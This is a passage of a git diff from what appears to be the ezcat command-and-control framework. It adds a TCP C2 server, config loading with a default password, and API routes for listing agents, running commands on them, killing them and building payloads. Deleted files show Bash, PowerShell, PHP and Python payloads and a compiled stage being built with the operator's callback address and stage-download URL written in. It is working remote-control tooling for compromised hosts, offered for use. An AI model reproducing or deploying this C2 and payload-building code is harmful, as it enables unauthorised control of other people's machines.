&TARGET_ALL[i] + } + } + return nil +} diff --git a/server/c2/packet.go b/server/c2/packet.go new file mode 100644 index 0000000..9dca3c1 --- /dev/null +++ b/server/c2/packet.go @@ -0,0 +1,11 @@ +package c2 + +const PACKET_MAX_SIZE = 2 + 255 + +type Packet struct { + ID uint32 // unique ID + Flags uint8 // version (3 bits), 1 (type), 4 (command) + WorkID uint8 // id of the work this packet is assoicated with + Size uint8 // data size + Data []byte +} diff --git a/server/c2/server.go b/server/c2/server.go new file mode 100644 index 0000000..839edd2 --- /dev/null +++ b/server/c2/server.go @@ -0,0 +1,85 @@ +package c2 + +import ( + "bytes" + "net" + + "github.com/ngn13/ezcat/server/log" +) + +type Server struct { + Listener *net.TCPListener +} + +func (s *Server) HandleReq(con *net.TCPConn, buf *bytes.Buffer) ([]byte, error) { + return []byte{}, nil +} + +func (s *Server) HandleCon(con *net.TCPConn) { + for { + var ( + req []byte + res []byte + size int + err error + ) + + req = make([]byte, PACKET_MAX_SIZE) + + if size, err = con.Read(req); err != nil && err != net.ErrClosed { + log.Debg("failed to read TCP connection from %s: %s", con.RemoteAddr().String(), err.Error()) + continue + } + + if err == net.ErrClosed { + log.Debg("closing TCP connection from: %s", con.RemoteAddr().String()) + break + } + + log.Debg("received %d bytes from %s", size, con.RemoteAddr().String()) + + if res, err = s.HandleReq(con, bytes.NewBuffer(req)); err != nil { + log.Debg("failed to handle request from %s: %s", con.RemoteAddr().String(), err.Error()) + continue + } + + if _, err = con.Write(res); err != nil { + log.Debg("failed to send the response to %s: %s", con.RemoteAddr().String(), err.Error()) + continue + } + } +} + +func (s *Server) Handle() error { + defer s.Listener.Close() + + for { + var ( + con *net.TCPConn + err error + ) + + if con, err = s.Listener.AcceptTCP(); err != nil { + log.Debg("failed to accept the TCP connection: %s", err.Error()) + continue + } + + log.Debg("accepted connection from %s", con.RemoteAddr().String()) + go s.HandleCon(con) + } +} + +func (s *Server) Listen(_addr string) (err error) { + var addr *net.TCPAddr + + if addr, err = net.ResolveTCPAddr("tcp", _addr); err != nil { + return err + } + + if s.Listener, err = net.ListenTCP("tcp", addr); err != nil { + return err + } + + go s.Handle() + return nil +} diff --git a/server/config/config.go b/server/config/config.go index ada2da6..6437408 100644 --- a/server/config/config.go +++ b/server/config/config.go @@ -1,48 +1,112 @@ package config import ( + "fmt" "os" + "reflect" "strconv" - "github.com/ngn13/ezcat/server/global" - "github.com/ngn13/ezcat/server/log" "github.com/ngn13/ezcat/server/util" ) -func Load() { - var err error - - global.CONFIG_HTTPPORT, err = strconv.Atoi(os.Getenv("HTTP_PORT")) - if err != nil || !util.IsValidPort(global.CONFIG_HTTPPORT) { - global.CONFIG_HTTPPORT = 5566 - } - - global.CONFIG_AGENTPORT, err = strconv.Atoi(os.Getenv("AGENT_PORT")) - if err != nil || !util.IsValidPort(global.CONFIG_AGENTPORT) { - global.CONFIG_AGENTPORT = 1053 - } - - global.CONFIG_PASSWORD = os.Getenv("PASSWORD") - if global.CONFIG_PASSWORD == "" { - log.Warn("Using the default password (very insecure, change it using the PASSWORD environment variable)") - global.CONFIG_PASSWORD = "ezcat" - } - - global.CONFIG_STATICDIR = os.Getenv("STATIC_DIR") - if global.CONFIG_STATICDIR == "" { - log.Warn("STATICDIR is not set, only serving the API") - } - - global.CONFIG_DATADIR = os.Getenv("DATA_DIR") - if global.CONFIG_DATADIR == "" { - global.CONFIG_DATADIR = "./data" - } - - global.CONFIG_PAYLOADDIR = os.Getenv("PAYLOAD_DIR") - if global.CONFIG_PAYLOADDIR == "" { - global.CONFIG_PAYLOADDIR = "../payloads" - } - - global.CONFIG_MEGAMIND = os.Getenv("DISABLE_MEGAMIND") != "1" - global.CONFIG_DEBUG = os.Getenv("DEBUG") == "1" +type Struct struct { + Version string // not modifiable + HTTP_Port int `env:"HTTP_PORT"` + C2_Port int `env:"C2_PORT"` + Password string `env:"PASSWORD"` + StaticDir string `env:"STATIC_DIR"` + DistDir string `env:"DIST_DIR"` + PayloadDir string `env:"PAYLOAD_DIR"` + Megamind bool `env:"MEGAMIND"` + Debug bool `env:"DEBUG"` +} + +func (conf *Struct) Load() error { + var ( + val reflect.Value + typ reflect.Type + + field_val reflect.Value + field_typ reflect.StructField + + env_name string + env_val string + + err error + ok bool + ) + + val = reflect.ValueOf(conf).Elem() + typ = val.Type() + + for i := 0; i < val.NumField(); i++ { + field_val = val.Field(i) + field_typ = typ.Field(i) + + if env_name, ok = field_typ.Tag.Lookup("env"); !ok || !field_val.CanSet() { + continue + } + + env_name = fmt.Sprintf("EZCAT_%s", env_name) + + if env_val = os.Getenv(env_name); env_val == "" { + continue + } + + switch field_val.Kind() { + case reflect.String: + field_val.SetString(env_val) + + case reflect.Uint16: + var env_val_int int + if env_val_int, err = strconv.Atoi(env_val); err != nil { + return fmt.Errorf("%s should be an integer", env_name) + } + field_val.SetInt(int64(env_val_int)) + + case reflect.Bool: + var env_val_bool bool + if env_val == "true" || env_val == "1" { + env_val_bool = true + } else if env_val == "false" || env_val == "0" { + env_val_bool = false + } else { + return fmt.Errorf("%s should be a boolean", env_name) + } + field_val.SetBool(env_val_bool) + } + } + + return nil +} + +func New() (*Struct, error) { + var ( + conf Struct + err error + ) + + conf.Version = "2.4" + conf.HTTP_Port = 5566 + conf.C2_Port = 5567 + conf.Password = "ezcat" + conf.DistDir = "./data" + conf.StaticDir = "" + conf.PayloadDir = "../payloads" + conf.Megamind = true + conf.Debug = false + + if err = conf.Load(); err != nil { + return nil, err + } + + if !util.IsValidPort(conf.HTTP_Port) { + return nil, fmt.Errorf("invalid port number for the HTTP port: %d", conf.HTTP_Port) + } + + if !util.IsValidPort(conf.C2_Port) { + return nil, fmt.Errorf("invalid port number for the C2 port: %d", conf.C2_Port) + } + + return &conf, nil } diff --git a/server/global/agent.go b/server/global/agent.go index fea403f..e531d8b 100644 --- a/server/global/agent.go +++ b/server/global/agent.go @@ -2,6 +2,6 @@ package global // see payloads/stage/main.c var ( - SLEEP_MAX int = 10 - SLEEP_MIN int = 3 + SLEEP_MAX int = 10 + SLEEP_MIN int = 3 ) diff --git a/server/global/config.go b/server/global/config.go deleted file mode 100644 index 608d880..0000000 --- a/server/global/config.go +++ /dev/null @@ -1,13 +0,0 @@ -package global - -// these defaults are reset in config/config.go -var ( - CONFIG_HTTPPORT int = 5566 - CONFIG_AGENTPORT int = 1053 - CONFIG_PASSWORD string = "ezcat" - CONFIG_STATICDIR string = "" - CONFIG_DATADIR string = "./data" - CONFIG_PAYLOADDIR string = "../payloads" - CONFIG_DEBUG bool = false - CONFIG_MEGAMIND bool = true -) diff --git a/server/global/len.go b/server/global/len.go index 9c4944e..dde420c 100644 --- a/server/global/len.go +++ b/server/global/len.go @@ -1,6 +1,6 @@ package global var ( - SESSION_LEN int = 31 - ID_LEN int = 31 + SESSION_LEN int = 31 + ID_LEN int = 31 ) diff --git a/server/jobs/jobs.go b/server/jobs/jobs.go deleted file mode 100644 index 90c72ef..0000000 --- a/server/jobs/jobs.go +++ /dev/null @@ -1,44 +0,0 @@ -package jobs - -import ( - "github.com/ngn13/ezcat/server/util" -) - -type Job struct { - ID string `json:"id"` - Message string `json:"message"` - Success bool `json:"success"` - Active bool `json:"active"` -} - -var jobs []Job - -func Add(msg string) *Job { - var job Job = Job{ - ID: util.MakeRandom(12), - Message: msg, - Success: false, - Active: true, - } - - jobs = append(jobs, job) - return &jobs[len(jobs)-1] -} - -func Get(id string) *Job { - for i := range jobs { - if jobs[i].ID == id { - return &jobs[i] - } - } - return nil -} - -func Del(id string) { - for i := range jobs { - if jobs[i].ID == id { - jobs = append(jobs[:i], jobs[i+1:]...) - return - } - } -} diff --git a/server/log/log.go b/server/log/log.go index 4c2e663..21164df 100644 --- a/server/log/log.go +++ b/server/log/log.go @@ -3,21 +3,19 @@ package log import ( "log" "os" +) - "github.com/ngn13/ezcat/server/global" +const ( + COLOR_BLUE = "\033[34m" + COLOR_YELLOW = "\033[33m" + COLOR_RED = "\033[31m" + COLOR_CYAN = "\033[36m" + COLOR_RESET = "\033[0m" ) var ( - Debug = func(f string, args...interface{}){ - if !global.CONFIG_DEBUG { - return - } - - log.SetFlags(log.Ltime | log.Lshortfile) - log.SetPrefix("\033[1m\033[36m[DEBG]\033[0m ") - log.Printf(f, args...) - } - Warn = log.New(os.Stdout, "\033[1m\033[33m[WARN]\033[0m ", log.Ltime | log.Lshortfile).Printf - Info = log.New(os.Stdout, "\033[1m\033[34m[INFO]\033[0m ", log.Ltime | log.Lshortfile).Printf - Err = log.New(os.Stderr, "\033[1m\033[31m[ERRO]\033[0m ", log.Ltime | log.Lshortfile).Printf + Info = log.New(os.Stdout, COLOR_BLUE+"[info]"+COLOR_RESET+" ", log.Ltime|log.Lshortfile).Printf + Warn = log.New(os.Stderr, COLOR_YELLOW+"[warn]"+COLOR_RESET+" ", log.Ltime|log.Lshortfile).Printf + Fail = log.New(os.Stderr, COLOR_RED+"[fail]"+COLOR_RESET+" ", log.Ltime|log.Lshortfile).Printf + Debg = log.New(os.Stderr, COLOR_CYAN+"[debg]"+COLOR_RESET+" ", log.Ltime|log.Lshortfile).Printf ) diff --git a/server/main.go b/server/main.go index c477ef9..07126be 100644 --- a/server/main.go +++ b/server/main.go @@ -21,66 +21,100 @@ package main import ( "fmt" + "os" "github.com/gofiber/fiber/v2" "github.com/ngn13/ezcat/server/agent" + "github.com/ngn13/ezcat/server/builder" + "github.com/ngn13/ezcat/server/c2" "github.com/ngn13/ezcat/server/config" - "github.com/ngn13/ezcat/server/global" "github.com/ngn13/ezcat/server/log" - "github.com/ngn13/ezcat/server/payload" "github.com/ngn13/ezcat/server/routes" - "github.com/ngn13/ezcat/server/util" ) func main() { - app := fiber.New(fiber.Config{ - AppName: "ezcat", - DisableStartupMessage: true, - }) - - // load config from the env - config.Load() - if global.CONFIG_STATICDIR != "" { - app.Static("/", global.CONFIG_STATICDIR) - } - - // agent server setup - payload.StageLoad() - var server agent.AgentServer - go server.Start() - - // groups - api := app.Group("/api") - user := api.Group("/user") - - // middlewares - api.Use("*", util.CORS) - user.Use("*", routes.ALL_auth) - - // user API routes - user.Get("/logout", routes.GET_logout) - user.Get("/agent/list", routes.GET_agents) - user.Get("/agent/kill", routes.GET_kill) - user.Put("/agent/run", routes.PUT_run) - - user.Get("/payload/list", routes.GET_payloads) - user.Get("/payload/addr", routes.GET_address) - user.Put("/payload/build", routes.PUT_build) - - user.Get("/job/get", routes.GET_job) - user.Delete("/job/del", routes.DEL_job) - - // other API routes (no auth needed) - api.Get("/info", routes.GET_info) - api.Put("/login", routes.PUT_login) - - // payload routes - app.Get("/:id", routes.GET_stage) - - // start the api - log.Info("Starting ezcat 🐱(v%s)", routes.VERSION) - if global.CONFIG_STATICDIR != "" { - log.Info("======> Visit http://127.0.0.1:%d <======", global.CONFIG_HTTPPORT) - } - log.Err(app.Listen(fmt.Sprintf(":%d", global.CONFIG_HTTPPORT)).Error()) + var ( + agents agent.List + build *builder.Struct + conf *config.Struct + app *fiber.App + srv c2.Server + err error + ) + + // load config from the env + if conf, err = config.New(); err != nil { + log.Fail("failed to load the configuration: %s", err.Error()) + os.Exit(1) + } + + // load the payload/stage builder + if build, err = builder.New(conf); err != nil { + log.Fail("failed to create a new builder: %s", err.Error()) + os.Exit(1) + } + + app = fiber.New(fiber.Config{ + AppName: "ezcat", + DisableStartupMessage: true, + }) + + if conf.StaticDir != "" { + app.Static("/", conf.StaticDir) + } + + if !conf.Debug { + log.Debg = func(format string, v ...any) {} + } + + // groups + api := app.Group("/api") + user := api.Group("/user") + + // middlewares + app.Use(func(c *fiber.Ctx) error { + c.Locals("agents", &agents) + c.Locals("builder", build) + c.Locals("config", conf) + return c.Next() + }) + + // auth and CORS middlewars + api.Use(routes.Auth) + user.Use(routes.CORS) + + // user API routes + user.Get("/logout", routes.GET_logout) + user.Get("/agent/list", routes.GET_agents) + user.Get("/agent/kill", routes.GET_kill) + user.Put("/agent/run", routes.PUT_run) + + user.Get("/payload/list", routes.GET_payloads) + user.Get("/payload/addr", routes.GET_address) + user.Put("/payload/build", routes.PUT_build) + + user.Get("/job/get", routes.GET_job) + user.Delete("/job/del", routes.DEL_job) + + // other API routes (no auth needed) + api.Get("/info", routes.GET_info) + api.Put("/login", routes.PUT_login) + + // payload routes + app.Get("/:id", routes.GET_stage) + + // start the API + log.Info("starting ezcat 🐱(v%s)", conf.Version) + + if err = srv.Listen(fmt.Sprintf(":%d", conf.C2_Port)); err != nil { + log.Fail("failed to start the C2 server") + } + + if conf.StaticDir != "" { + log.Info("======> visit http://127.0.0.1:%d <======", conf.HTTP_Port) + } + + if err = app.Listen(fmt.Sprintf(":%d", conf.HTTP_Port)); err != nil { + log.Fail("failed to start the web server") + } } diff --git a/server/payload/payload.go b/server/payload/payload.go deleted file mode 100644 index fa4566b..0000000 --- a/server/payload/payload.go +++ /dev/null @@ -1,144 +0,0 @@ -package payload - -import ( - "fmt" - "os" - "path" - "strings" - - "github.com/ngn13/ezcat/server/global" - "github.com/ngn13/ezcat/server/log" - "github.com/ngn13/ezcat/server/util" -) - -type Payload struct { - Name string `json:"name"` - Config string `json:"config"` - Output string `json:"output"` - OS []Target `json:"os"` -} - -var List []Payload = []Payload{ - // linux only - {Name: "Bash", OS: []Target{TARGET_LINUX}, Config: "src/main.sh", Output: "dist/main.sh"}, - - // windows only - {Name: "Powershell", OS: []Target{TARGET_WINDOWS}, Config: "src/main.ps1", Output: "dist/main.ps1"}, - - // both - {Name: "PHP", OS: TARGET_ALL, Config: "src/main.php", Output: "dist/main.php"}, - {Name: "Python", OS: TARGET_ALL, Config: "src/main.py", Output: "dist/main.py"}, -} - -func (p *Payload) Build(target *Target, address string) (string, error) { - id := util.MakeRandom(global.ID_LEN) - dst := path.Join("/tmp", "ezcat_payload_"+id) - - ret := p.SupportsTarget(target) - if !ret { - return "", fmt.Errorf("target is not supported by the payload") - } - - addr, port, err := util.ParseAddr(address) - if err != nil { - return "", err - } - - _, err = StageBuild(StageConfig{ - Target: target, - ID: id, - Address: addr, - Port: global.CONFIG_AGENTPORT, - }) - - if err != nil { - return "", err - } - - err = util.CopySimple(dst, p.GetDir(target.CodeName())) - if err != nil { - return "", err - } - - config_file := path.Join(dst, p.Config) - config_data, err := os.ReadFile(config_file) - if err != nil { - return "", err - } - - config_url := fmt.Sprintf("http://%s:%d/%s", addr, port, id) - config_edited := strings.ReplaceAll(string(config_data), "#URL#", config_url) - err = os.WriteFile(config_file, []byte(config_edited), os.ModePerm) - if err != nil { - return "", err - } - - out, err := util.RunBuild(dst, target.CodeName()) - if err != nil { - log.Err("Failed to run the build command for the payload:\n=====\n%s%s\n=====", out, err.Error()) - return "", fmt.Errorf("failed to run the build: %s", err.Error()) - } - - res, err := os.ReadFile(path.Join(dst, p.Output)) - if err != nil { - return "", err - } - - if res[len(res)-1] == '\n' { - res = res[:len(res)-1] - } - - return string(res), nil -} - -func (p *Payload) Supports(oscode string) *Target { - target := TargetByCode(oscode) - if target == nil { - return nil - } - - for i := range p.OS { - if p.OS[i].CodeName() == target.CodeName() { - return &p.OS[i] - } - } - - return nil -} - -func (p *Payload) SupportsTarget(target *Target) bool { - for i := range p.OS { - if p.OS[i].CodeName() == target.CodeName() { - return true - } - } - - return false -} - -func (p *Payload) GetDir(oscode string) string { - if p.Supports(oscode) == nil { - return "" - } - - src := path.Join(global.CONFIG_PAYLOADDIR, strings.ToLower(p.Name), oscode) - if util.Access(src) { - return src - } - - src = path.Join(global.CONFIG_PAYLOADDIR, strings.ToLower(p.Name)) - if util.Access(src) { - return src - } - - return "" -} - -func Get(typ string) *Payload{ - for i := range List { - if List[i].Name == typ { - return &List[i] - } - } - return nil -} diff --git a/server/payload/stage.go b/server/payload/stage.go deleted file mode 100644 index 22dde69..0000000 --- a/server/payload/stage.go +++ /dev/null @@ -1,123 +0,0 @@ -package payload - -import ( - "fmt" - "os" - "path" - "strings" - - "github.com/ngn13/ezcat/server/global" - "github.com/ngn13/ezcat/server/log" - "github.com/ngn13/ezcat/server/util" -) - -type StageConfig struct { - Target *Target - ID string - Address string - Port int -} - -var ( - STAGE_CONFIG = path.Join("src", "config.h") - STAGE_OUTPUT = "stage" -) - -var stages []string - -func StageLoad() error { - entries, err := os.ReadDir(global.CONFIG_DATADIR) - if os.IsNotExist(err) { - return nil - } - - if err != nil { - return err - } - - for _, e := range entries { - if strings.HasSuffix(e.Name(), "_stage") { - stages = append(stages, e.Name()) - break - } - } - - return nil -} - -func StageGet(id string) string { - if len(id) != global.ID_LEN { - return "" - } - - for _, s := range stages { - fp := path.Join(global.CONFIG_DATADIR, s) - if strings.HasPrefix(s, id) && util.Access(fp){ - return fp - } - } - - return "" -} - -func StageHas(id string) bool { - return StageGet(id) != "" -} - -func StageAdd(id string, src string) (string, error) { - name := fmt.Sprintf("%s_stage", id) - - err := os.Mkdir(global.CONFIG_DATADIR, 0777) - if err != nil && !os.IsExist(err) { - return "", err - } - - err = util.CopyFile(path.Join(global.CONFIG_DATADIR, name), src) - if err != nil { - return "", err - } - - stages = append(stages, name) - return name, nil -} - -func StageBuild(conf StageConfig) (string, error) { - stagedir := path.Join(global.CONFIG_PAYLOADDIR, "stage") - builddir := path.Join("/tmp", "ezcat_stage_"+conf.ID) - - err := util.CopySimple(builddir, stagedir) - if err != nil { - return "", fmt.Errorf("failed to copy stage dir: %s", err.Error()) - } - - cfgfile := path.Join(builddir, STAGE_CONFIG) - err = os.WriteFile(cfgfile, []byte(fmt.Sprintf(`#pragma once -#include - -#define SERVER_ADDRESS "%s" -#define SERVER_PORT %d -#define ID "%s" -#define DEBUG %s`, - conf.Address, - conf.Port, - conf.ID, - util.BoolToStr(global.CONFIG_DEBUG))), os.ModePerm) - - if err != nil { - return "", fmt.Errorf("failed to write to the config file: %s", err.Error()) - } - - out, err := util.RunBuild(builddir, conf.Target.CodeName()) - - if err != nil { - log.Err("Failed to run the build command for the stage:\n=====\n%s\n=====", out) - return "", fmt.Errorf("failed to run the build: %s", err.Error()) - } - - path, err := StageAdd(conf.ID, path.Join(builddir, STAGE_OUTPUT)) - if err != nil { - return "", fmt.Errorf("failed to add stage build: %s", err.Error()) - } - - return path, nil -} diff --git a/server/payload/target.go b/server/payload/target.go deleted file mode 100644 index 55b3175..0000000 --- a/server/payload/target.go +++ /dev/null @@ -1,45 +0,0 @@ -package payload - -import ( - "fmt" - "strings" -) - -type Target struct { - Name string `json:"name"` - Arch string `json:"arch"` -} - -var ( - TARGET_LINUX = Target{ - Name: "Linux", - Arch: "amd64", - } - - TARGET_WINDOWS = Target{ - Name: "Windows", - Arch: "amd64", - } - - TARGET_ALL = []Target{ - TARGET_LINUX, TARGET_WINDOWS, - } -) - -func (t *Target) PrettyName() string{ - return fmt.Sprintf("%s (%s)", t.Name, t.Arch) -} - -func (t *Target) CodeName() string { - return fmt.Sprintf("%s_%s", - strings.ToLower(t.Name), strings.ToLower(t.Arch)) -} - -func TargetByCode(cn string) *Target { - for i := range TARGET_ALL { - if TARGET_ALL[i].CodeName() == cn { - return &TARGET_ALL[i] - } - } - return nil -} diff --git a/server/routes/agents.go b/server/routes/agents.go index 3e971b0..32bc673 100644 --- a/server/routes/agents.go +++ b/server/routes/agents.go @@ -2,6 +2,7 @@ package routes import ( "fmt" + "strconv" "github.com/gofiber/fiber/v2" "github.com/ngn13/ezcat/server/agent" @@ -10,86 +11,94 @@ import ( ) func GET_agents(c *fiber.Ctx) error { - var res []agent.Data - agent.Clean() + list := c.Locals("agents").(*agent.List) + list.Update() - for i := range agent.List { - cur := &agent.List[i] + return c.JSON(&fiber.Map{ + "list": list, + }) +} - if !cur.Active { - continue - } +func PUT_run(c *fiber.Ctx) error { + var ( + data map[string]string - if cur.Username == "" || cur.Hostname == "" { - log.Debug("Not listing %s (info not received yet)", cur.ID) - continue - } + list *agent.List + ag *agent.Agent - res = append(res, cur.Data()) - } + id uint64 + ip string + port uint16 + err error + ) - return c.JSON(&fiber.Map{ - "list": res, - }) -} + list = c.Locals("agents").(*agent.List) + list.Update() -func PUT_run(c *fiber.Ctx) error { - agent.Clean() - - var data map[string]string - if err := c.BodyParser(&data); err != nil { - return util.ErrorCode(c, 400) - } - - if data["address"] == "" || data["id"] == "" { - return util.ErrorCode(c, 400) - } - - ip, port, err := util.ParseAddr(data["address"]) - if err != nil { - return util.ErrorCode(c, 400) - } - - a := agent.Get(data["id"]) - if a == nil { - return util.ErrorCode(c, 404) - } - - if !a.Active { - return util.Error(c, "Agent is not active") - } - - work := a.AddWork(agent.CMD_RUN, fmt.Sprintf("%s:%d", ip, port), nil) - return c.JSON(&fiber.Map{ - "job": work.Job.ID, - }) + if err = c.BodyParser(&data); err != nil { + log.Debg("failed to parse the body: %s", err.Error()) + return util.ErrorCode(c, 400) + } + + if data["address"] == "" || data["id"] == "" { + return util.ErrorCode(c, 400) + } + + if ip, port, err = util.ParseAddr(data["address"]); err != nil { + log.Debg("failed to parse the address: %s", err.Error()) + return util.ErrorCode(c, 400) + } + + if id, err = strconv.ParseUint(data["session"], 10, 32); err != nil { + log.Debg("failed to parse ID: %s", err.Error()) + return util.ErrorCode(c, 400) + } + + if ag = list.Find(uint32(id)); ag == nil { + return util.ErrorCode(c, 404) + } + + if !ag.Conneceted { + return util.Error(c, "agent is not active") + } + + job := ag.AddJob(agent.CMD_RUN, fmt.Sprintf("%s:%d", ip, port), nil) + + return c.JSON(&fiber.Map{ + "job": job.ID, + }) } -func KillCallack(w *agent.Work) { - a := agent.Get(w.Session) - agent.DefaultCallack(w) - a.Deactivate() +func KillCallack(j *agent.Job) { + j.Agent.ShouldKill = true } func GET_kill(c *fiber.Ctx) error { - agent.Clean() - id := c.Query("id") - - if id == "" { - return util.ErrorCode(c, 400) - } - - a := agent.Get(id) - if a == nil { - return util.ErrorCode(c, 404) - } - - if !a.Active { - return util.Error(c, "Agent is not active") - } - - work := a.AddWork(agent.CMD_KILL, "plz", KillCallack) - return c.JSON(&fiber.Map{ - "job": work.Job.ID, - }) + var ( + ag *agent.Agent + id uint64 + err error + ) + + list := c.Locals("agents").(*agent.List) + list.Update() + + if id, err = strconv.ParseUint(c.Query("session"), 10, 32); err != nil { + log.Debg("failed to parse ID: %s", err.Error()) + return util.ErrorCode(c, 400) + } + + if ag = list.Find(uint32(id)); ag == nil { + return util.ErrorCode(c, 404) + } + + if !ag.Conneceted { + return util.Error(c, "agent is not active") + } + + job := ag.AddJob(agent.CMD_KILL, "plz", KillCallack) + + return c.JSON(&fiber.Map{ + "job": job.ID, + }) } diff --git a/server/routes/api.go b/server/routes/api.go new file mode 100644 index 0000000..4797b73 --- /dev/null +++ b/server/routes/api.go @@ -0,0 +1,16 @@ +package routes + +import "github.com/gofiber/fiber/v2" + +func CORS(c *fiber.Ctx) error { + c.Set("Access-Control-Allow-Origin", "*") + c.Set("Access-Control-Allow-Headers", + "Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With") + c.Set("Access-Control-Allow-Methods", "OPTIONS, PUT, DELETE, GET") + + if c.Method() == "OPTIONS" { + return c.SendString("") + } + + return c.Next() +} diff --git a/server/routes/auth.go b/server/routes/auth.go new file mode 100644 index 0000000..f6d3f78 --- /dev/null +++ b/server/routes/auth.go @@ -0,0 +1,74 @@ +package routes + +import ( + "github.com/gofiber/fiber/v2" + "github.com/ngn13/ezcat/server/config" + "github.com/ngn13/ezcat/server/log" + "github.com/ngn13/ezcat/server/util" +) + +var tokens []string = []string{} + +func tokenOK(c *fiber.Ctx) bool { + token := util.GetToken(c) + for _, t := range tokens { + if t == token { + return true + } + } + return false +} + +func tokenNew() string { + tokens = append(tokens, util.MakeRandom(31)) + return tokens[len(tokens)-1] +} + +func tokenDel(token string) { + for i, t := range tokens { + if t == token { + tokens = append(tokens[:i], tokens[i+1:]...) + return + } + } +} + +func Auth(c *fiber.Ctx) error { + if tokenOK(c) { + return c.Next() + } + + return util.ErrorCode(c, 401) +} + +func PUT_login(c *fiber.Ctx) error { + var ( + data map[string]string + conf *config.Struct + ) + + conf = c.Locals("config").(*config.Struct) + + if err := c.BodyParser(&data); err != nil { + return util.ErrorCode(c, 400) + } + + if data["password"] == "" { + return util.ErrorCode(c, 400) + } + + if conf.Password != data["password"] { + return util.Error(c, "Invalid password") + } + + log.Info("new login from %s", c.IP()) + + return c.JSON(fiber.Map{ + "token": tokenNew(), + }) +} + +func GET_logout(c *fiber.Ctx) error { + tokenDel(util.GetToken(c)) + return c.JSON(fiber.Map{}) +} diff --git a/server/routes/info.go b/server/routes/info.go index 89af0ce..2d42a50 100644 --- a/server/routes/info.go +++ b/server/routes/info.go @@ -2,14 +2,14 @@ package routes import ( "github.com/gofiber/fiber/v2" - "github.com/ngn13/ezcat/server/global" + "github.com/ngn13/ezcat/server/config" ) -const VERSION = "2.3" - func GET_info(c *fiber.Ctx) error { - return c.JSON(&fiber.Map{ - "version": VERSION, - "megamind": global.CONFIG_MEGAMIND, - }) + conf := c.Locals("config").(*config.Struct) + + return c.JSON(&fiber.Map{ + "version": conf.Version, + "megamind": conf.Megamind, + }) } diff --git a/server/routes/job.go b/server/routes/job.go index b1171ff..37fdb59 100644 --- a/server/routes/job.go +++ b/server/routes/job.go @@ -3,32 +3,46 @@ package routes import ( "github.com/gofiber/fiber/v2" "github.com/ngn13/ezcat/server/agent" - "github.com/ngn13/ezcat/server/jobs" + "github.com/ngn13/ezcat/server/log" "github.com/ngn13/ezcat/server/util" ) func GET_job(c *fiber.Ctx) error { - agent.Clean() + var ( + job *agent.Job + id uint32 + err error + ) - id := c.Query("id") - if id == "" { - return util.Error(c, "Job ID is not specified") - } + list := c.Locals("agents").(*agent.List) + list.Update() - job := jobs.Get(id) - if job == nil { - return util.Error(c, "Job not found") - } + if id, err = util.ToUint32(c.Query("id")); err != nil { + log.Debg("failed to parse job ID: %s", err.Error()) + return util.Error(c, "Invalid job ID") + } - return c.JSON(job) + if job = list.GetJob(id); job == nil { + return util.Error(c, "Job not found") + } + + return c.JSON(job) } func DEL_job(c *fiber.Ctx) error { - id := c.Query("id") - if id == "" { - return util.Error(c, "Job ID is not specified") - } + var ( + id uint32 + err error + ) + + list := c.Locals("agents").(*agent.List) + list.Update() + + if id, err = util.ToUint32(c.Query("id")); err != nil { + log.Debg("failed to parse job ID: %s", err.Error()) + return util.Error(c, "Invalid job ID") + } - jobs.Del(id) - return c.JSON(&fiber.Map{}) + list.DelJob(id) + return c.JSON(&fiber.Map{}) } diff --git a/server/routes/login.go b/server/routes/login.go deleted file mode 100644 index ddb1e0f..0000000 --- a/server/routes/login.go +++ /dev/null @@ -1,28 +0,0 @@ -package routes - -import ( - "github.com/gofiber/fiber/v2" - "github.com/ngn13/ezcat/server/global" - "github.com/ngn13/ezcat/server/log" - "github.com/ngn13/ezcat/server/util" -) - -func PUT_login(c *fiber.Ctx) error { - var data map[string]string - if err := c.BodyParser(&data); err != nil { - return util.ErrorCode(c, 400) - } - - if data["password"] == "" { - return util.ErrorCode(c, 400) - } - - if global.CONFIG_PASSWORD != data["password"] { - return util.Error(c, "Invalid password") - } - - log.Info("New login from %s", c.IP()) - return c.JSON(fiber.Map{ - "token": TokenNew(), - }) -} diff --git a/server/routes/logout.go b/server/routes/logout.go deleted file mode 100644 index 6cbfedf..0000000 --- a/server/routes/logout.go +++ /dev/null @@ -1,11 +0,0 @@ -package routes - -import ( - "github.com/gofiber/fiber/v2" - "github.com/ngn13/ezcat/server/util" -) - -func GET_logout(c *fiber.Ctx) error { - TokenDel(util.GetToken(c)) - return c.JSON(fiber.Map{}) -} diff --git a/server/routes/payload.go b/server/routes/payload.go index 484562f..6b62c29 100644 --- a/server/routes/payload.go +++ b/server/routes/payload.go @@ -4,70 +4,63 @@ import ( "fmt" "github.com/gofiber/fiber/v2" - "github.com/ngn13/ezcat/server/global" - "github.com/ngn13/ezcat/server/jobs" - "github.com/ngn13/ezcat/server/payload" + "github.com/ngn13/ezcat/server/builder" + "github.com/ngn13/ezcat/server/config" "github.com/ngn13/ezcat/server/util" ) func GET_payloads(c *fiber.Ctx) error { - return c.JSON(&fiber.Map{ - "list": payload.List, - }) + return c.JSON(&fiber.Map{ + "list": c.Locals("builder").(*builder.Struct).Payloads, + }) } func GET_address(c *fiber.Ctx) error { - port := c.Query("port") - if port == "" { - return c.JSON(&fiber.Map{ - "address": fmt.Sprintf("%s:%d", util.GetIP(), global.CONFIG_HTTPPORT), - }) - } + conf := c.Locals("config").(*config.Struct) + port := c.Query("port") - return c.JSON(&fiber.Map{ - "address": fmt.Sprintf("%s:%s", util.GetIP(), port), - }) -} - -func PUT_build(c *fiber.Ctx) error { - var data map[string]string + if port == "" { + return c.JSON(&fiber.Map{ + "address": fmt.Sprintf("%s:%d", util.GetIP(), conf.HTTP_Port), + }) + } - if err := c.BodyParser(&data); err != nil { - return util.ErrorCode(c, 400) - } + return c.JSON(&fiber.Map{ + "address": fmt.Sprintf("%s:%s", util.GetIP(), port), + }) +} - if data["address"] == "" || data["type"] == "" || data["os"] == "" { - return util.ErrorCode(c, 400) - } +func PUT_build(c *fiber.Ctx) (err error) { + var ( + data map[string]string + target *builder.Target + payload *builder.Payload + res string + ) - target := payload.TargetByCode(data["os"]) - if target == nil { - return util.Error(c, "Unknown OS/Arch") - } + build := c.Locals("builder").(*builder.Struct) - pyld := payload.Get(data["type"]) - if pyld == nil { - return util.Error(c, "Unknown payload type") - } + if err := c.BodyParser(&data); err != nil { + return util.ErrorCode(c, 400) + } - job := jobs.Add("Building the payload...") + if data["address"] == "" || data["type"] == "" || data["os"] == "" { + return util.ErrorCode(c, 400) + } - go func(){ - res, err := pyld.Build(target, data["address"]) - job.Active = false - util.CleanTemp() + if target = 